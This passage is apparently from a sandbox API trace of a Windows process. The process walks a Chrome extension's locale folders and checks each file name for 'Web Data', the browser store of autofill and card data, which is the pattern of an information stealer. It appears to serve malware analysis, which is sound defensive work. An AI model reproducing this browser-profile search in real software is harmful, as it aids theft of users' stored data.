IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.249] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.249] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.249] lstrlenA (lpString="fr") returned 2 [0056.249] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.249] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.249] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fr" [0056.249] LocalFree (hMem=0x2daca0) returned 0x0 [0056.249] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fr") returned 131 [0056.249] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fr") returned 131 [0056.249] lstrlenA (lpString="\\*.*") returned 4 [0056.249] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.249] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fr" [0056.249] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fr\\*.*" [0056.249] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.249] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.249] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.250] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.250] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.250] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.250] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.250] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.250] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.250] LocalFree (hMem=0x2daca0) returned 0x0 [0056.250] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.250] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.250] lstrcmpiA (lpString1=".", lpString2="he") returned -1 [0056.250] lstrcmpiA (lpString1="..", lpString2="he") returned -1 [0056.250] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.250] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.250] lstrlenA (lpString="\\") returned 1 [0056.250] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.250] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.250] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.250] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.250] lstrlenA (lpString="he") returned 2 [0056.250] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.250] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.250] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\he" [0056.250] LocalFree (hMem=0x2daca0) returned 0x0 [0056.250] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\he") returned 131 [0056.250] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\he") returned 131 [0056.250] lstrlenA (lpString="\\*.*") returned 4 [0056.250] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.250] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\he" [0056.250] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\he", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\he\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\he\\*.*" [0056.250] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\he\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.250] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.250] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.250] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.250] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.250] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.250] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.250] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.250] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.250] LocalFree (hMem=0x2daca0) returned 0x0 [0056.250] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.250] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.250] lstrcmpiA (lpString1=".", lpString2="hi") returned -1 [0056.250] lstrcmpiA (lpString1="..", lpString2="hi") returned -1 [0056.250] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.250] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.250] lstrlenA (lpString="\\") returned 1 [0056.251] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.251] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.251] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.251] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.251] lstrlenA (lpString="hi") returned 2 [0056.251] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.251] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.251] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hi" [0056.251] LocalFree (hMem=0x2daca0) returned 0x0 [0056.251] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hi") returned 131 [0056.251] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hi") returned 131 [0056.251] lstrlenA (lpString="\\*.*") returned 4 [0056.251] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.251] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hi" [0056.251] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hi\\*.*" [0056.251] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.251] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.251] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.251] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.251] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.251] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.251] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.251] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.251] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.251] LocalFree (hMem=0x2daca0) returned 0x0 [0056.251] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.251] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.251] lstrcmpiA (lpString1=".", lpString2="hr") returned -1 [0056.251] lstrcmpiA (lpString1="..", lpString2="hr") returned -1 [0056.251] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.251] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.251] lstrlenA (lpString="\\") returned 1 [0056.251] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.251] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.251] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.251] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.251] lstrlenA (lpString="hr") returned 2 [0056.251] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.251] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.251] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="hr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hr" [0056.251] LocalFree (hMem=0x2daca0) returned 0x0 [0056.251] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hr") returned 131 [0056.251] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hr") returned 131 [0056.251] lstrlenA (lpString="\\*.*") returned 4 [0056.251] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.251] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hr" [0056.251] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hr\\*.*" [0056.251] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.252] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.252] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.252] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.252] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.252] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.252] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.252] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.252] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.252] LocalFree (hMem=0x2daca0) returned 0x0 [0056.252] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.252] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.252] lstrcmpiA (lpString1=".", lpString2="hu") returned -1 [0056.252] lstrcmpiA (lpString1="..", lpString2="hu") returned -1 [0056.252] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.252] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.252] lstrlenA (lpString="\\") returned 1 [0056.252] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.252] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.252] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.252] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.252] lstrlenA (lpString="hu") returned 2 [0056.252] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.252] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: 